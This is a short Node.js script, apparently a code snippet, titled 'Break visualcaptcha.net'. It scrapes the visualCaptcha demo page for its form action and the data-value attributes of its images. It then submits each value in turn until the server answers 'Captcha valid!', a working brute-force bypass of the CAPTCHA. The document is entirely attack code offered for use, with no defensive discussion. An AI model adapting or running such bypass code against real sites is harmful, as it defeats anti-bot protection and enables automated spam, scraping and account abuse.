Break visualcaptcha.net

Break visualcaptcha.net

var request = require('request')

request = request.defaults({jar: true});

var URI = 'http://demo.visualcaptcha.net/';

request.get(URI, function (error, response, body) {
    if (!error && response.statusCode === 200) {
        var arr,
            imgData,
            formActionRegExp = /<form.*action="([^"]+)"/,
            action = formActionRegExp.exec(body)[1],
            imgRegExp = /<img.*data-value="([^"]+)"/g,
            match = imgRegExp.exec(body);

        while (match != null) {
            imgData = match[1];

            console.log(match[1]);

            match = imgRegExp.exec(body);

            console.log(URI + action);

            request.post(
                URI + action,
                {
                    form: {
                        'captcha-value': imgData,
                        form_submit: 1
                    }
                },
                function (error, response, body) {        
                    if (!error && response.statusCode === 200) {
                        if (body.indexOf('Captcha valid!') > 0){
                            console.log(body);
                        }
                    }
                }
            );
        }
    }
});